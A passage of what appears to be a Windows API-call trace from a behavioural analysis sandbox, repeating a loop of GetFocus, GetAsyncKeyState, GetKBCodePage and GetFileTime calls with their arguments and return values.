dwHighDateTime=0x0)) returned 0 [0246.830] GetFocus () returned 0x0 [0246.830] GetAsyncKeyState (vKey=58) returned 0 [0246.830] GetKBCodePage () returned 0x1b5 [0246.830] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.830] GetFocus () returned 0x0 [0246.830] GetAsyncKeyState (vKey=58) returned 0 [0246.830] GetKBCodePage () returned 0x1b5 [0246.830] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.831] GetFocus () returned 0x0 [0246.831] GetAsyncKeyState (vKey=58) returned 0 [0246.831] GetKBCodePage () returned 0x1b5 [0246.831] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.831] GetFocus () returned 0x0 [0246.831] GetAsyncKeyState (vKey=58) returned 0 [0246.831] GetKBCodePage () returned 0x1b5 [0246.831] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.831] GetFocus () returned 0x0 [0246.831] GetAsyncKeyState (vKey=58) returned 0 [0246.831] GetKBCodePage () returned 0x1b5 [0246.831] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.831] GetFocus () returned 0x0 [0246.831] GetAsyncKeyState (vKey=58) returned 0 [0246.831] GetKBCodePage () returned 0x1b5 [0246.831] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.831] GetFocus () returned 0x0 [0246.831] GetAsyncKeyState (vKey=58) returned 0 [0246.831] GetKBCodePage () returned 0x1b5 [0246.831] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.831] GetFocus () returned 0x0 [0246.831] GetAsyncKeyState (vKey=58) returned 0 [0246.831] GetKBCodePage () returned 0x1b5 [0246.831] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.831] GetFocus () returned 0x0 [0246.831] GetAsyncKeyState (vKey=58) returned 0 [0246.831] GetKBCodePage () returned 0x1b5 [0246.831] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.831] GetFocus () returned 0x0 [0246.831] GetAsyncKeyState (vKey=58) returned 0 [0246.831] GetKBCodePage () returned 0x1b5 [0246.831] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.831] GetFocus () returned 0x0 [0246.831] GetAsyncKeyState (vKey=58) returned 0 [0246.831] GetKBCodePage () returned 0x1b5 [0246.831] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.832] GetFocus () returned 0x0 [0246.832] GetAsyncKeyState (vKey=58) returned 0 [0246.832] GetKBCodePage () returned 0x1b5 [0246.832] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.832] GetFocus () returned 0x0 [0246.832] GetAsyncKeyState (vKey=58) returned 0 [0246.832] GetKBCodePage () returned 0x1b5 [0246.832] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.832] GetFocus () returned 0x0 [0246.832] GetAsyncKeyState (vKey=58) returned 0 [0246.832] GetKBCodePage () returned 0x1b5 [0246.832] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.832] GetFocus () returned 0x0 [0246.832] GetAsyncKeyState (vKey=58) returned 0 [0246.832] GetKBCodePage () returned 0x1b5 [0246.832] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.832] GetFocus () returned 0x0 [0246.832] GetAsyncKeyState (vKey=58) returned 0 [0246.832] GetKBCodePage () returned 0x1b5 [0246.832] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.832] GetFocus () returned 0x0 [0246.832] GetAsyncKeyState (vKey=58) returned 0 [0246.832] GetKBCodePage () returned 0x1b5 [0246.832] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.832] GetFocus () returned 0x0 [0246.832] GetAsyncKeyState (vKey=58) returned 0 [0246.832] GetKBCodePage () returned 0x1b5 [0246.832] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.832] GetFocus () returned 0x0 [0246.832] GetAsyncKeyState (vKey=58) returned 0 [0246.832] GetKBCodePage () returned 0x1b5 [0246.832] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.832] GetFocus () returned 0x0 [0246.832] GetAsyncKeyState (vKey=58) returned 0 [0246.832] GetKBCodePage () returned 0x1b5 [0246.833] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.833] GetFocus () returned 0x0 [0246.833] GetAsyncKeyState (vKey=58) returned 0 [0246.833] GetKBCodePage () returned 0x1b5 [0246.833] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.833] GetFocus () returned 0x0 [0246.833] GetAsyncKeyState (vKey=58) returned 0 [0246.833] GetKBCodePage () returned 0x1b5 [0246.833] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.833] GetFocus () returned 0x0 [0246.833] GetAsyncKeyState (vKey=58) returned 0 [0246.833] GetKBCodePage () returned 0x1b5 [0246.833] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.833] GetFocus () returned 0x0 [0246.833] GetAsyncKeyState (vKey=58) returned 0 [0246.833] GetKBCodePage () returned 0x1b5 [0246.833] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.833] GetFocus () returned 0x0 [0246.833] GetAsyncKeyState (vKey=58) returned 0 [0246.833] GetKBCodePage () returned 0x1b5 [0246.833] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.833] GetFocus () returned 0x0 [0246.833] GetAsyncKeyState (vKey=58) returned 0 [0246.833] GetKBCodePage () returned 0x1b5 [0246.833] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.833] GetFocus () returned 0x0 [0246.833] GetAsyncKeyState (vKey=58) returned 0 [0246.833] GetKBCodePage () returned 0x1b5 [0246.833] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.833] GetFocus () returned 0x0 [0246.833] GetAsyncKeyState (vKey=58) returned 0 [0246.833] GetKBCodePage () returned 0x1b5 [0246.833] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.833] GetFocus () returned 0x0 [0246.833] GetAsyncKeyState (vKey=58) returned 0 [0246.833] GetKBCodePage () returned 0x1b5 [0246.834] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.834] GetFocus () returned 0x0 [0246.834] GetAsyncKeyState (vKey=58) returned 0 [0246.834] GetKBCodePage () returned 0x1b5 [0246.834] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.834] GetFocus () returned 0x0 [0246.834] GetAsyncKeyState (vKey=58) returned 0 [0246.834] GetKBCodePage () returned 0x1b5 [0246.834] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.834] GetFocus () returned 0x0 [0246.834] GetAsyncKeyState (vKey=58) returned 0 [0246.834] GetKBCodePage () returned 0x1b5 [0246.834] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.834] GetFocus () returned 0x0 [0246.834] GetAsyncKeyState (vKey=58) returned 0 [0246.834] GetKBCodePage () returned 0x1b5 [0246.834] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.834] GetFocus () returned 0x0 [0246.834] GetAsyncKeyState (vKey=58) returned 0 [0246.834] GetKBCodePage () returned 0x1b5 [0246.834] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.834] GetFocus () returned 0x0 [0246.834] GetAsyncKeyState (vKey=58) returned 0 [0246.834] GetKBCodePage () returned 0x1b5 [0246.834] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.834] GetFocus () returned 0x0 [0246.834] GetAsyncKeyState (vKey=58) returned 0 [0246.834] GetKBCodePage () returned 0x1b5 [0246.834] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.834] GetFocus () returned 0x0 [0246.834] GetAsyncKeyState (vKey=58) returned 0 [0246.834] GetKBCodePage () returned 0x1b5 [0246.834] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.834] GetFocus () returned 0x0 [0246.834] GetAsyncKeyState (vKey=58) returned 0 [0246.834] GetKBCodePage () returned 0x1b5 [0246.835] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.835] GetFocus () returned 0x0 [0246.835] GetAsyncKeyState (vKey=58) returned 0 [0246.835] GetKBCodePage () returned 0x1b5 [0246.835] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.835] GetFocus () returned 0x0 [0246.835] GetAsyncKeyState (vKey=58) returned 0 [0246.835] GetKBCodePage () returned 0x1b5 [0246.835] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.835] GetFocus () returned 0x0 [0246.835] GetAsyncKeyState (vKey=58) returned 0 [0246.835] GetKBCodePage () returned 0x1b5 [0246.835] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.835] GetFocus () returned 0x0 [0246.835] GetAsyncKeyState (vKey=58) returned 0 [0246.835] GetKBCodePage () returned 0x1b5 [0246.835] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.835] GetFocus () returned 0x0 [0246.835] GetAsyncKeyState (vKey=58) returned 0 [0246.835] GetKBCodePage () returned 0x1b5 [0246.835] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.835] GetFocus () returned 0x0 [0246.835] GetAsyncKeyState (vKey=58) returned 0 [0246.835] GetKBCodePage () returned 0x1b5 [0246.835] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.835] GetFocus () returned 0x0 [0246.835] GetAsyncKeyState (vKey=58) returned 0 [0246.835] GetKBCodePage () returned 0x1b5 [0246.835] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.835] GetFocus () returned 0x0 [0246.835] GetAsyncKeyState (vKey=58) returned 0 [0246.835] GetKBCodePage () returned 0x1b5 [0246.835] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.836] GetFocus () returned 0x0 [0246.836] GetAsyncKeyState (vKey=58) returned 0 [0246.836] GetKBCodePage () returned 0x1b5 [0246.836] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.836] GetFocus () returned 0x0 [0246.836] GetAsyncKeyState (vKey=58) returned 0 [0246.836] GetKBCodePage () returned 0x1b5 [0246.836] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.836] GetFocus () returned 0x0 [0246.836] GetAsyncKeyState (vKey=58) returned 0 [0246.836] GetKBCodePage () returned 0x1b5 [0246.836] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.836] GetFocus () returned 0x0 [0246.836] GetAsyncKeyState (vKey=58) returned 0 [0246.836] GetKBCodePage () returned 0x1b5 [0246.836] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.836] GetFocus () returned 0x0 [0246.836] GetAsyncKeyState (vKey=58) returned 0 [0246.836] GetKBCodePage () returned 0x1b5 [0246.836] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.836] GetFocus () returned 0x0 [0246.836] GetAsyncKeyState (vKey=58) returned 0 [0246.836] GetKBCodePage () returned 0x1b5 [0246.836] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.836] GetFocus () returned 0x0 [0246.836] GetAsyncKeyState (vKey=58) returned 0 [0246.836] GetKBCodePage () returned 0x1b5 [0246.836] GetFileTime (in: hFile=0x60cf7a, 